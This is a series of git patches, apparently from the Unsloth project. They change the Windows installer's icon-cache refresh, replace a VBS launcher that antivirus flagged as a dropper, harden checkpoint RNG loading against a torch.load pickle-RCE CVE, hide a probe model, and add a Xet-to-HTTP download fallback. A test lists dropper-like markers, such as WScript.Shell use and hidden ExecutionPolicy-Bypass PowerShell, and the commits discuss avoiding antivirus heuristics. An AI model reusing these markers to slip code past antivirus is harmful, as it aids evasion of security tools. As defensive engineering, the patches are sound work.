                         # SHCNE_UPDATEITEM (0x00002000) + SHCNF_PATHW (0x0005) per shortcut
@@ -930,21 +972,31 @@ shell.Run cmd, 0, False
                         # SHCNE_ASSOCCHANGED (0x08000000) global refresh (belt-and-suspenders)
                         [UnslothShell.IconRefresh]::SHChangeNotify(0x08000000, 0, $null, [System.IntPtr]::Zero)
                     } catch {}
-                    # Win11's Start Menu (StartMenuExperienceHost) keeps its OWN
-                    # pre-rendered tile-icon cache that ie4uinit/explorer restart do NOT
-                    # invalidate, so a rewritten same-name shortcut shows the old tile
-                    # until the host restarts. Drop only the render caches (NEVER
-                    # start2.bin -- the pinned layout) and let the host rebuild.
-                    # Best-effort; Win10 has no such host (Test-Path skips it).
-                    try {
-                        $smehTemp = Join-Path $env:LOCALAPPDATA "Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState"
-                        if (Test-Path -LiteralPath $smehTemp) {
-                            Get-ChildItem -LiteralPath $smehTemp -Filter "TileCache_*" -ErrorAction SilentlyContinue |
-                                Remove-Item -Force -ErrorAction SilentlyContinue
-                            Remove-Item -LiteralPath (Join-Path $smehTemp "StartUnifiedTileModelCache.dat") -Force -ErrorAction SilentlyContinue
-                            Stop-Process -Name StartMenuExperienceHost -Force -ErrorAction SilentlyContinue
-                        }
-                    } catch {}
+                    # Heavier on-disk icon-cache clear + StartMenuExperienceHost tile
+                    # rebuild only when the icon actually changed or this is a first
+                    # install. Running "clear icon cache + kill StartMenuExperienceHost"
+                    # on every no-op reinstall is a dropper-like behavioral cluster and
+                    # is unnecessary when the icon is unchanged (the per-item notify
+                    # above already refreshes the rewritten shortcut).
+                    if ($firstInstall -or $iconChanged) {
+                        try { & "$env:SystemRoot\System32\ie4uinit.exe" -ClearIconCache 2>$null } catch {}
+                        try { & "$env:SystemRoot\System32\ie4uinit.exe" -show 2>$null } catch {}
+                        # Win11's Start Menu (StartMenuExperienceHost) keeps its OWN
+                        # pre-rendered tile-icon cache that ie4uinit/explorer restart do NOT
+                        # invalidate, so a rewritten same-name shortcut shows the old tile
+                        # until the host restarts. Drop only the render caches (NEVER
+                        # start2.bin -- the pinned layout) and let the host rebuild.
+                        # Best-effort; Win10 has no such host (Test-Path skips it).
+                        try {
+                            $smehTemp = Join-Path $env:LOCALAPPDATA "Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState"
+                            if (Test-Path -LiteralPath $smehTemp) {
+                                Get-ChildItem -LiteralPath $smehTemp -Filter "TileCache_*" -ErrorAction SilentlyContinue |
+                                    Remove-Item -Force -ErrorAction SilentlyContinue
+                                Remove-Item -LiteralPath (Join-Path $smehTemp "StartUnifiedTileModelCache.dat") -Force -ErrorAction SilentlyContinue
+                                Stop-Process -Name StartMenuExperienceHost -Force -ErrorAction SilentlyContinue
+                            }
+                        } catch {}
+                    }
                 } else {
                     substep "no Unsloth Studio shortcuts were created" "Yellow"
                 }
diff --git a/install.sh b/install.sh
index fa0535a51b..759d87e0b0 100755
--- a/install.sh
+++ b/install.sh
@@ -1261,6 +1261,10 @@ if (-not \$targetExe) { exit 1 }
 # native install if one exists) so the WSL shortcut shows the proper icon.
 \$iconDir = Join-Path \$env:LOCALAPPDATA 'Unsloth Studio'
 \$iconPath = Join-Path \$iconDir 'unsloth.ico'
+\$preIconHash = \$null
+if (Test-Path -LiteralPath \$iconPath) {
+    try { \$preIconHash = (Get-FileHash -LiteralPath \$iconPath -Algorithm SHA256).Hash } catch {}
+}
 if (-not (Test-Path -LiteralPath \$iconPath)) {
     try {
         New-Item -ItemType Directory -Force -Path \$iconDir | Out-Null
@@ -1276,9 +1280,11 @@ if (Test-Path -LiteralPath \$iconPath) {
     (Join-Path \$env:APPDATA 'Microsoft\Windows\Start Menu\Programs')
 )
 \$created = @()
+\$firstShortcut = \$false
 foreach (\$dir in \$locations) {
     if (-not \$dir -or -not (Test-Path \$dir)) { continue }
     \$linkPath = Join-Path \$dir '$_css_lnk_name_ps'
+    if (-not (Test-Path -LiteralPath \$linkPath)) { \$firstShortcut = \$true }
     \$shortcut = \$WshShell.CreateShortcut(\$linkPath)
     \$shortcut.TargetPath = \$targetExe
     \$shortcut.Arguments = '$_css_sc_args_ps'
@@ -1287,27 +1293,43 @@ foreach (\$dir in \$locations) {
     \$shortcut.Save()
     \$created += \$linkPath
 }
-# Force Explorer to re-read EACH new shortcut's icon so it renders immediately
-# instead of a stale/blank (generic) icon. The reliable, NON-disruptive fix
-# (no explorer restart) is a PER-ITEM SHChangeNotify(SHCNE_UPDATEITEM,
-# SHCNF_PATHW, <lnk>) -- the global SHCNE_ASSOCCHANGED alone does not recover a
-# stale item. Also clear the on-disk icon cache for heavier staleness.
-try { & "\$env:SystemRoot\System32\ie4uinit.exe" -ClearIconCache } catch {}
-try { & "\$env:SystemRoot\System32\ie4uinit.exe" -show } catch {}
+\$iconChanged = \$false
+if (\$hasIcon) {
+    if (-not \$preIconHash) {
+        \$iconChanged = \$true
+    } else {
+        try {
+            \$postIconHash = (Get-FileHash -LiteralPath \$iconPath -Algorithm SHA256).Hash
+            \$iconChanged = (\$postIconHash -ne \$preIconHash)
+        } catch { \$iconChanged = \$true }
+    }
+} elseif (\$preIconHash) {
+    \$iconChanged = \$true
+}
+# Per-item refresh always (cheap, non-disruptive) so the rewritten .lnk renders
+# immediately instead of a stale/blank (generic) icon. The reliable fix (no
+# explorer restart) is a PER-ITEM SHChangeNotify(SHCNE_UPDATEITEM, SHCNF_PATHW,
+# <lnk>) -- the global SHCNE_ASSOCCHANGED alone does not recover a stale item.
 try {
     Add-Type -Namespace UnslothShell -Name IconRefresh -MemberDefinition '[System.Runtime.InteropServices.DllImport("shell32.dll", CharSet = System.Runtime.InteropServices.CharSet.Unicode)] public static extern void SHChangeNotify(int e, uint f, string a, System.IntPtr b);' -ErrorAction SilentlyContinue
     foreach (\$p in \$created) { try { [UnslothShell.IconRefresh]::SHChangeNotify(0x00002000, 0x0005, \$p, [System.IntPtr]::Zero) } catch {} }
     [UnslothShell.IconRefresh]::SHChangeNotify(0x08000000, 0, \$null, [System.IntPtr]::Zero)
 } catch {}
-# Win11 Start Menu keeps its own tile-icon cache (preserve start2.bin).
-try {
-    \$smeh = Join-Path \$env:LOCALAPPDATA 'Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState'
-    if (Test-Path -LiteralPath \$smeh) {
-        Get-ChildItem -LiteralPath \$smeh -Filter 'TileCache_*' -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue
-        Remove-Item -LiteralPath (Join-Path \$smeh 'StartUnifiedTileModelCache.dat') -Force -ErrorAction SilentlyContinue
-        Stop-Process -Name StartMenuExperienceHost -Force -ErrorAction SilentlyContinue
-    }
-} catch {}
+# Heavier on-disk icon-cache clear + StartMenuExperienceHost tile rebuild
+# (preserve start2.bin) only on first install or a real icon change, so a no-op
+# WSL reinstall does not run a dropper-like clear-cache + kill cluster each time.
+if (\$created.Count -gt 0 -and (\$firstShortcut -or \$iconChanged)) {
+    try { & "\$env:SystemRoot\System32\ie4uinit.exe" -ClearIconCache } catch {}
+    try { & "\$env:SystemRoot\System32\ie4uinit.exe" -show } catch {}
+    try {
+        \$smeh = Join-Path \$env:LOCALAPPDATA 'Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState'
+        if (Test-Path -LiteralPath \$smeh) {
+            Get-ChildItem -LiteralPath \$smeh -Filter 'TileCache_*' -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue
+            Remove-Item -LiteralPath (Join-Path \$smeh 'StartUnifiedTileModelCache.dat') -Force -ErrorAction SilentlyContinue
+            Stop-Process -Name StartMenuExperienceHost -Force -ErrorAction SilentlyContinue
+        }
+    } catch {}
+}
 WSLPS1_EOF
 
             # Convert WSL path to Windows path for powershell.exe
diff --git a/tests/studio/install/test_launch_studio_launcher.py b/tests/studio/install/test_launch_studio_launcher.py
index 8ea9ca7d80..8ea053b783 100644
--- a/tests/studio/install/test_launch_studio_launcher.py
+++ b/tests/studio/install/test_launch_studio_launcher.py
@@ -1,5 +1,9 @@
-"""Guard install.ps1's launch-studio.vbs against re-introducing the AV-heuristic
-shape: a WScript .vbs spawning a hidden, ExecutionPolicy-Bypass PowerShell."""
+"""Guard install.ps1's Studio launcher against re-introducing the AV-heuristic
+shape: a WScript .vbs that spawns a hidden, ExecutionPolicy-Bypass PowerShell
+(Kaspersky HEUR:Trojan.VBS.Agent.gen). The shortcut must stay windowless via
+powershell.exe -WindowStyle Hidden over launch-studio.ps1 -- never a .vbs /
+WScript.Shell.Run wrapper. Any pre-existing .vbs from an older install must be
+deleted, not merely left behind."""
 
 import re
 from pathlib import Path
@@ -10,40 +14,51 @@ REPO_ROOT = Path(__file__).resolve().parents[3]
 INSTALL_PS1 = REPO_ROOT / "install.ps1"
 
 
-def _vbs_block() -> str:
-    text = INSTALL_PS1.read_text(encoding = "utf-8")
-    m = re.search(r'\$vbsContent\s*=\s*@"\r?\n(.*?)\r?\n"@', text, re.S)
-    assert m, "could not locate the $vbsContent here-string in install.ps1"
-    return m.group(1)
+def _text() -> str:
+    return INSTALL_PS1.read_text(encoding = "utf-8")
 
 
 def test_install_ps1_present():
     assert INSTALL_PS1.is_file(), f"missing {INSTALL_PS1}"
 
 
-def test_vbs_does_not_pass_windowstyle_hidden():
-    vbs = _vbs_block()
-    assert "-WindowStyle Hidden" not in vbs, (
-        "launch-studio.vbs must not pass -WindowStyle Hidden to PowerShell: the "
-        "window is already hidden by shell.Run(cmd, 0, False); the redundant flag "
-        "only adds the hidden-PowerShell token that AV heuristics flag."
+def test_no_vbs_launcher_generated():
+    text = _text()
+    # No here-string that builds a .vbs body, and no .vbs file written. (A
+    # Remove-Item cleanup of the legacy .vbs is allowed and checked separately.)
+    assert "$vbsContent" not in text, (
+        "install.ps1 must not generate a launch-studio.vbs: a WScript.Shell .vbs "
+        "spawning a hidden ExecutionPolicy-Bypass PowerShell is the exact shape "
+        "VBS-dropper heuristics flag (Kaspersky HEUR:Trojan.VBS.Agent.gen)."
     )
+    assert 'CreateObject("WScript.Shell")' not in text
+    assert "shell.Run" not in text
+    assert not re.search(r"Set-Content\s+-LiteralPath\s+\$launcherVbs", text)
+    assert "//B //Nologo" not in text
 
 
-def test_vbs_stays_windowless_via_shell_run():
-    vbs = _vbs_block()
-    assert re.search(r"shell\.Run\s+cmd\s*,\s*0\s*,\s*False", vbs), (
-        "launcher must remain windowless via shell.Run(cmd, 0, False) "
-        "(intWindowStyle 0 = hidden)."
-    )
+def test_legacy_vbs_removed_on_upgrade():
+    # The whole point: an upgrade must DELETE a pre-existing launch-studio.vbs,
+    # not just stop generating it, or AV keeps flagging the stale file.
+    text = _text()
+    assert re.search(
+        r"Remove-Item\s+-LiteralPath\s+\$legacyLauncherVbs", text
+    ), "upgrades must remove a pre-existing launch-studio.vbs so AV stops flagging it"
 
 
-def test_vbs_keeps_bypass_and_file_invocation():
-    # Bypass lets the unsigned local .ps1 run under the default Restricted policy.
-    vbs = _vbs_block()
-    assert "-ExecutionPolicy Bypass" in vbs
-    assert "-File" in vbs
-    assert "powershell" in vbs
+def test_shortcut_target_is_not_wscript():
+    # The .lnk must not be launched through wscript.exe (the VBS script host).
+    text = _text()
+    assert "wscript.exe" not in text.lower()
+
+
+def test_launcher_is_windowless_powershell():
+    # The shortcut runs powershell.exe with a hidden window over launch-studio.ps1.
+    text = _text()
+    assert re.search(
+        r"-WindowStyle\s+Hidden", text
+    ), "the launcher must run powershell.exe with -WindowStyle Hidden over launch-studio.ps1."
+    assert "launch-studio.ps1" in text
 
 
 if __name__ == "__main__":

From e046fceb7334925e9b29a7adecb472443149fc34 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 16 Jun 2026 04:39:32 -0700
Subject: [PATCH 33/91] Harden Trainer._load_rng_state against malicious
 checkpoints (CVE-2026-1839) (#6351)

* Harden Trainer._load_rng_state against malicious checkpoints (CVE-2026-1839)

Resuming from an untrusted checkpoint loads its rng_state.pth via transformers' Trainer._load_rng_state, which calls torch.load without weights_only=True. On torch < 2.6 (weights_only not yet the default, safe_globals() does not restrict the unpickler) a crafted rng_state.pth runs arbitrary code. transformers fixed this in 5.0.0rc3, but we pin 4.57.x for compatibility, so add an import-time monkey patch instead.

patch_unsafe_trainer_rng_load() wraps the method and forces torch.load with weights_only=True for the call, mirroring the upstream fix while keeping the surrounding distributed/device logic intact and tracking transformers' own safe_globals() allowlist. It is idempotent and a no-op on torch >= 2.6 (already the default) and transformers >= 5.0.0rc3 (already fixed), so it self-disables once the pin is bumped. Wired into _gpu_init.py so it applies on import unsloth.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate Trainer._load_rng_state via check_torch_load_is_safe instead of forcing weights_only

Review feedback was correct: forcing weights_only=True is not the right fix. It is not a safe boundary below torch 2.6 (CVE-2025-32434), where transformers' safe_globals() is also a nullcontext, so a legitimate rng_state.pth (which holds numpy state) would fail to load there. Call transformers' own check_torch_load_is_safe() before the load instead: it raises on torch < 2.6 and is a no-op on torch >= 2.6, where torch.load already defaults to weights_only=True. This also drops the temporary global torch.load swap, removing the thread-safety race.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments in the RNG-load guard

* Harden only the rng torch.load via a thread-local gate

Address review feedback on the rng-load guard:
- Import Trainer on its own and fall back to a local torch-version check when
  transformers does not export check_torch_load_is_safe, so older supported
  4.51.x installs are still protected.
- Force weights_only=True at the rng load so TORCH_FORCE_NO_WEIGHTS_ONLY_LOAD
  cannot re-enable pickle execution.
- Gate at the actual rng torch.load through a thread-local flag rather than up
  front, so model-only or rng-less resumes still proceed on torch < 2.6 and
  other torch.load callers are unaffected.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 unsloth/_gpu_init.py    |  2 ++
 unsloth/import_fixes.py | 69 +++++++++++++++++++++++++++++++++++++++++
 2 files changed, 71 insertions(+)

diff --git a/unsloth/_gpu_init.py b/unsloth/_gpu_init.py
index 86f675c281..7998d62191 100644
--- a/unsloth/_gpu_init.py
+++ b/unsloth/_gpu_init.py
@@ -179,6 +179,7 @@ from .import_fixes import (
     patch_trackio,
     patch_datasets,
     patch_enable_input_require_grads,
+    patch_unsafe_trainer_rng_load,
     fix_openenv_no_vllm,
     patch_openspiel_env_async,
     fix_executorch,
@@ -206,6 +207,7 @@ patch_ipykernel_hf_xet()
 patch_trackio()
 patch_datasets()
 patch_enable_input_require_grads()
+patch_unsafe_trainer_rng_load()
 fix_openenv_no_vllm()
 patch_openspiel_env_async()
 fix_executorch()
diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index eb43666d56..87003b5985 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -628,6 +628,75 @@ def patch_enable_input_require_grads():
     logger.info("Unsloth: Patched enable_input_require_grads for vision model compatibility")
 
 
+def patch_unsafe_trainer_rng_load():
+    """Harden Trainer._load_rng_state against CVE-2026-1839 (RCE from a malicious
+    rng_state.pth on resume). Hardens only the rng torch.load, via a thread-local
+    flag, so it forces weights_only=True (defeats TORCH_FORCE_NO_WEIGHTS_ONLY_LOAD)
+    and refuses torch < 2.6 (CVE-2025-32434), while rng-less resumes and unrelated
+    torch.load calls are untouched. No-op if transformers is absent or already
+    guards the load (>= 5.0.0rc3)."""
+    if importlib.util.find_spec("transformers") is None:
+        return
+    try:
+        from transformers.trainer import Trainer
+    except Exception:
+        return
+    load_rng_state = getattr(Trainer, "_load_rng_state", None)
+    if load_rng_state is None or getattr(load_rng_state, "_unsloth_safe_rng_load", False):
+        return
+    try:
+        source = inspect.getsource(load_rng_state)
+    except Exception:
+        return
+    if "torch.load" not in source or "check_torch_load_is_safe" in source:
+        return
+
+    import threading, torch
+
+    try:
+        # Older supported transformers (>= 4.51.3) may not export the helper.
+        from transformers.utils.import_utils import check_torch_load_is_safe
+    except Exception:
+
+        def check_torch_load_is_safe():
+            if TrueVersion(torch.__version__.split("+")[0]) < TrueVersion("2.6"):
+                raise RuntimeError(
+                    "Unsloth: refusing to load checkpoint RNG state on torch < 2.6 "
+                    "(CVE-2026-1839 / CVE-2025-32434); upgrade to torch >= 2.6."
+                )
+
+    # Install one process-wide torch.load shim that stays inert unless the calling
+    # thread is inside _load_rng_state, so we gate only at the real rng load with
+    # no global-swap race and no effect on other torch.load callers.
+    if not getattr(torch.load, "_unsloth_rng_guard", False):
+        _orig_load = torch.load
+        _rng_active = threading.local()
+
+        @functools.wraps(_orig_load)
+        def _guarded_torch_load(*args, **kwargs):
+            if getattr(_rng_active, "on", False):
+                check_torch_load_is_safe()  # raises on torch < 2.6 (CVE-2025-32434)
+                kwargs.setdefault("weights_only", True)
+            return _orig_load(*args, **kwargs)
+
+        _guarded_torch_load._unsloth_rng_guard = True
+        _guarded_torch_load._unsloth_rng_flag = _rng_active
+        torch.load = _guarded_torch_load
+    _rng_active = torch.load._unsloth_rng_flag
+
+    @functools.wraps(load_rng_state)
+    def _unsloth_safe_load_rng_state(self, checkpoint):
+        _rng_active.on = True
+        try:
+            return load_rng_state(self, checkpoint)
+        finally:
+            _rng_active.on = False
+
+    _unsloth_safe_load_rng_state._unsloth_safe_rng_load = True
+    Trainer._load_rng_state = _unsloth_safe_load_rng_state
+    logger.info("Unsloth: Hardened Trainer._load_rng_state rng loading (CVE-2026-1839).")
+
+
 def _is_custom_torch_build(raw_version_str):
     """Check if a raw version string indicates a custom or source build.
 

From 8da8f91d599c094f1e9f72130bcd005d4cd6e64c Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 16 Jun 2026 05:08:38 -0700
Subject: [PATCH 34/91] Studio: hide the llama-server install validation probe
 from model pickers (#6366)

* Studio: hide the llama-server install validation probe from model pickers

The ggml-org/models / stories260K probe (install_llama_prebuilt validates
the prebuilt binary against it) can land in the HF cache and, being a 260K
toy model, sorts smallest and gets auto-selected for chat. Hide it in
_is_hidden_model alongside the RAG embedding model so it never surfaces.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* test: assert the validation probe is hidden across all model pickers

_is_hidden_model gates the model list, local, cached-GGUF and cached-models
endpoints that feed the picker search, so cover both the repo-id and the
on-disk snapshot-path forms callers pass.

* Studio: match the validation probe by exact filename, not a bare substring

Use the probe's repo id (ggml-org/models) plus its exact filename
(stories260K.gguf) so the picker filter does not also hide unrelated repos
that merely reference stories260K, e.g. user/stories260K-finetune-GGUF.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/routes/models.py               | 11 ++++-
 .../backend/tests/test_cached_gguf_routes.py  | 42 +++++++++++++++++++
 2 files changed, 52 insertions(+), 1 deletion(-)

diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index 6835126e62..c05522e64a 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -41,12 +41,21 @@ def _safe_is_dir(path) -> bool:
 
 def _is_hidden_model(*values: str | None) -> bool:
     """True if any id/path is the RAG embedding model (EMBEDDING_MODEL or
-    EMBED_GGUF_REPO basename), so pickers hide it (GGUF and non-GGUF)."""
+    EMBED_GGUF_REPO basename) or the llama.cpp install validation probe
+    (ggml-org/models / stories260K), so pickers hide them (GGUF and non-GGUF).
+    None are usable chat models; the probe can be cached as a side effect of
+    installing the prebuilt llama-server and otherwise sorts smallest, so it
+    would be auto-selected."""
     from core.rag import config as rag_config
 
     needles = (
         rag_config.EMBEDDING_MODEL.split("/")[-1].lower(),
         rag_config.EMBED_GGUF_REPO.split("/")[-1].lower(),
+        # The validation probe's repo (matches the cached repo id) and its exact
+        # filename (matches the on-disk path). The filename carries the .gguf so
+        # it does not hide unrelated repos like ``user/stories260K-finetune-GGUF``.
+        "ggml-org/models",
+        "stories260k.gguf",
     )
     return any(v and any(n in v.lower() for n in needles) for v in values)
 
diff --git a/studio/backend/tests/test_cached_gguf_routes.py b/studio/backend/tests/test_cached_gguf_routes.py
index 6409aef11e..03662e7b08 100644
--- a/studio/backend/tests/test_cached_gguf_routes.py
+++ b/studio/backend/tests/test_cached_gguf_routes.py
@@ -107,6 +107,48 @@ def test_list_cached_gguf_matches_extension_case_insensitively(monkeypatch, tmp_
     ]
 
 
+def test_is_hidden_model_hides_validation_probe_everywhere():
+    """Every picker (model list, local, cached GGUF, cached models) gates on
+    _is_hidden_model, so hiding the probe here hides it in the search menu too.
+    Cover both forms callers pass: the reconstructed repo id and the on-disk
+    snapshot path."""
+    assert models_route._is_hidden_model("ggml-org/models")
+    assert models_route._is_hidden_model("ggml-org/models/tinyllamas/stories260K.gguf")
+    assert models_route._is_hidden_model(
+        None, "/hf/models--ggml-org--models/snapshots/abc/tinyllamas/stories260K.gguf"
+    )
+    assert not models_route._is_hidden_model("unsloth/gemma-3-270m-it-GGUF")
+    # The exact-filename needle must not hide a real repo that merely
+    # references stories260K in its name.
+    assert not models_route._is_hidden_model("user/stories260K-finetune-GGUF")
+
+
+def test_list_cached_gguf_hides_llama_validation_probe(monkeypatch, tmp_path):
+    """The ggml-org/models / stories260K install validation probe can land in
+    the HF cache as a side effect of installing the prebuilt llama-server.
+    It is not a chat model (it sorts smallest and would be auto-selected), so
+    pickers must hide it while keeping real cached models."""
+    probe = _repo(
+        "ggml-org/models",
+        [_file("tinyllamas/stories260K.gguf", 1_000)],
+        tmp_path / "models--ggml-org--models",
+    )
+    real = _repo(
+        "unsloth/gemma-3-270m-it-GGUF",
+        [_file("gemma-3-270m-it-UD-Q4_K_XL.gguf", 200_000)],
+        tmp_path / "models--unsloth--gemma-3-270m-it-GGUF",
+    )
+    monkeypatch.setattr(
+        models_route, "_all_hf_cache_scans", lambda: [SimpleNamespace(repos = [probe, real])]
+    )
+
+    result = asyncio.run(models_route.list_cached_gguf(current_subject = "test-user"))
+
+    repo_ids = [c["repo_id"] for c in result["cached"]]
+    assert "ggml-org/models" not in repo_ids
+    assert "unsloth/gemma-3-270m-it-GGUF" in repo_ids
+
+
 def test_list_cached_gguf_skips_repos_without_positive_gguf_size(monkeypatch, tmp_path):
     missing = _repo(
         "Org/ReadmeOnly",

From 58c2ec1ebdd4564b4ceda8e602e55f001f590808 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 16 Jun 2026 06:17:54 -0700
Subject: [PATCH 35/91] Studio: Xet-primary model downloads with automatic HTTP
 fallback on stall (#6372)

* Studio: add shared Xet-primary download helper with HTTP stall fallback

Xet is the fast default transport in huggingface_hub, but a stalled Xet
transfer hangs with no progress and no exception, and a blocked native thread
cannot be killed. The safetensors inference path already recovers (subprocess
watchdog + respawn with HF_HUB_DISABLE_XET=1); the GGUF and training paths do
not. Add a reusable helper that the in-process paths can adopt.

utils/hf_xet_fallback.py:
- DownloadStallError (moved here from core/inference/orchestrator.py, which now
  imports it; behavior unchanged, still a RuntimeError subclass).
- get_hf_download_state / start_watchdog: a no-progress watchdog built on the
  sparse-aware hub.utils.hf_cache_state helpers; fires only while a .incomplete
  is present and the on-disk byte total is unchanged for stall_timeout.
- hf_hub_download_with_xet_fallback: cached files short-circuit; otherwise the
  download runs in a spawn child (own process group) supervised by the watchdog.
  On a stall it kills the child, makes the partial safe for HTTP via
  prepare_cache_for_transport, and respawns once with HF_HUB_DISABLE_XET=1. Cancel
  and deterministic errors (auth/missing/disk) propagate without a fallback.

Tests cover the watchdog state machine, the transport decision logic, and a
regression lock that HF_HUB_DISABLE_XET is honored in a fresh interpreter.

* Studio: route GGUF Chat-Mode downloads through the Xet->HTTP fallback

The GGUF load path (_download_gguf main+shards, _download_companion_gguf for
mmproj/MTP) called a bare blocking hf_hub_download with no recovery, so a Xet
stall hung the Chat-Mode load with no fallback. Route those three calls through
hf_hub_download_with_xet_fallback: Xet stays primary, HTTP is used only if Xet
stalls, per-file so finished shards stay cached. The existing _cancel_event is
threaded through, the Cancelled sentinel is preserved, and companions stay
best-effort (a terminal stall is swallowed to None). Cached files short-circuit
in the helper with no subprocess, so the fast path is unchanged.

The two offline mmproj tests are repointed from huggingface_hub.hf_hub_download
to the new call boundary (the helper) since the download now goes through it.

* Studio: recover a stalled training model-load via Xet->HTTP respawn

Training runs in a spawn subprocess and FastModel.from_pretrained downloads
internally, so the download cannot be wrapped per-file like GGUF. Instead the
worker now watches the HF cache during the model-load phase (emitting
model_load_started / model_load_completed and a stall event), and the parent
recovers a stall by terminating the worker and respawning it once with
HF_HUB_DISABLE_XET=1.

worker.py: set HF_HUB_DISABLE_XET=1 before any HF import when the parent passes
disable_xet (respawn), and wrap trainer.load_model with start_watchdog.

training.py: plumb disable_xet through the config; track the model-load window;
on a first-load stall arm a one-shot respawn (handled on the exiting pump thread,
so no pump self-join) that preserves the DB run row (history is not duplicated)
and re-runs the load over HTTP. A second stall, or a stall outside model-load,
surfaces as a normal error. W&B init happens after model-load, so a pre-load
respawn cannot duplicate it; the dataset is re-formatted in the new worker.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: add gated test-only fault-injection hook for the Xet stall path

UNSLOTH_HF_XET_FORCE_STALL=1 makes the Xet download attempt write a partial
blob and hang, so the no-progress watchdog and the HTTP fallback can be
exercised end to end against a real repo (never set in production). Used to
verify recovery on real models: a forced Xet stall on a 5.37GB Qwen3.5-35B-A3B
shard triggered the watchdog and the HTTP retry downloaded the correct file
(sha256 verified).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: tighten Xet-fallback comments and consolidate its tests

Trim docstrings and inline comments across the Xet->HTTP fallback code to
the non-obvious why (spawn-not-thread, killpg-not-getpgid, the sparse-partial
HTTP-resume hazard); drop comments that merely restate the code. Verified
comment-only with an AST signature check.

Merge the three helper-level test files (watchdog, transport policy, and the
HF_HUB_DISABLE_XET regression lock) into tests/test_hf_xet_fallback.py, and
prefer the real structlog over a bare stub so test collection order cannot
leak an incomplete module to others that log at import.

Full backend suite: 3455 passed, 14 pre-existing flash-attn failures only.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |  34 +-
 studio/backend/core/inference/orchestrator.py |   8 +-
 studio/backend/core/training/training.py      | 125 ++++++
 studio/backend/core/training/worker.py        |  48 ++-
 .../test_gguf_xet_fallback_integration.py     | 160 +++++++
 studio/backend/tests/test_hf_xet_fallback.py  | 352 +++++++++++++++
 .../tests/test_offline_gguf_cache_fallback.py |  14 +-
 .../tests/test_training_xet_fallback.py       | 209 +++++++++
 studio/backend/utils/hf_xet_fallback.py       | 405 ++++++++++++++++++
 9 files changed, 1323 insertions(+), 32 deletions(-)
 create mode 100644 studio/backend/tests/test_gguf_xet_fallback_integration.py
 create mode 100644 studio/backend/tests/test_hf_xet_fallback.py
 create mode 100644 studio/backend/tests/test_training_xet_fallback.py
 create mode 100644 studio/backend/utils/hf_xet_fallback.py

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 0f4abe04f5..7b6c0b0668 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -51,6 +51,7 @@ from core.tool_healing import (
     strip_tool_call_markup,
 )
 from utils.native_path_leases import child_env_without_native_path_secret
+from utils.hf_xet_fallback import hf_hub_download_with_xet_fallback
 from utils.subprocess_compat import (
     windows_hidden_subprocess_kwargs as _windows_hidden_subprocess_kwargs,
 )
@@ -2996,7 +2997,7 @@ class LlamaCppBackend:
         any time; checks it between each shard download.
         """
         try:
-            from huggingface_hub import hf_hub_download
+            import huggingface_hub  # noqa: F401 -- presence check only
         except ImportError:
             raise RuntimeError(
                 "huggingface_hub is required for HF model loading. "
@@ -3140,19 +3141,23 @@ class LlamaCppBackend:
             if self._cancel_event.is_set():
                 raise RuntimeError("Cancelled")
             dl_start = time.monotonic()
-            local_path = hf_hub_download(
-                repo_id = hf_repo,
-                filename = gguf_filename,
-                token = hf_token,
+            # Xet primary, HTTP fallback on stall; per-file so finished shards stay cached.
+            local_path = hf_hub_download_with_xet_fallback(
+                hf_repo,
+                gguf_filename,
+                hf_token,
+                cancel_event = self._cancel_event,
+                on_status = lambda m: logger.info(m),
             )
             for shard in gguf_extra_shards:
                 if self._cancel_event.is_set():
                     raise RuntimeError("Cancelled")
                 logger.info(f"Resolving GGUF shard: {shard}")
-                hf_hub_download(
-                    repo_id = hf_repo,
-                    filename = shard,
-                    token = hf_token,
+                hf_hub_download_with_xet_fallback(
+                    hf_repo,
+                    shard,
+                    hf_token,
+                    cancel_event = self._cancel_event,
                 )
         except RuntimeError as e:
             if "Cancelled" in str(e):
@@ -3213,12 +3218,13 @@ class LlamaCppBackend:
             return None
 
         try:
-            from huggingface_hub import hf_hub_download
             logger.info(f"Downloading {label}: {hf_repo}/{target}")
-            return hf_hub_download(
-                repo_id = hf_repo,
-                filename = target,
-                token = hf_token,
+            # Same policy; companions are best-effort (caller below swallows failures to None).
+            return hf_hub_download_with_xet_fallback(
+                hf_repo,
+                target,
+                hf_token,
+                cancel_event = self._cancel_event,
             )
         except Exception as e:
             logger.warning(f"Could not download {label}: {e}")
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
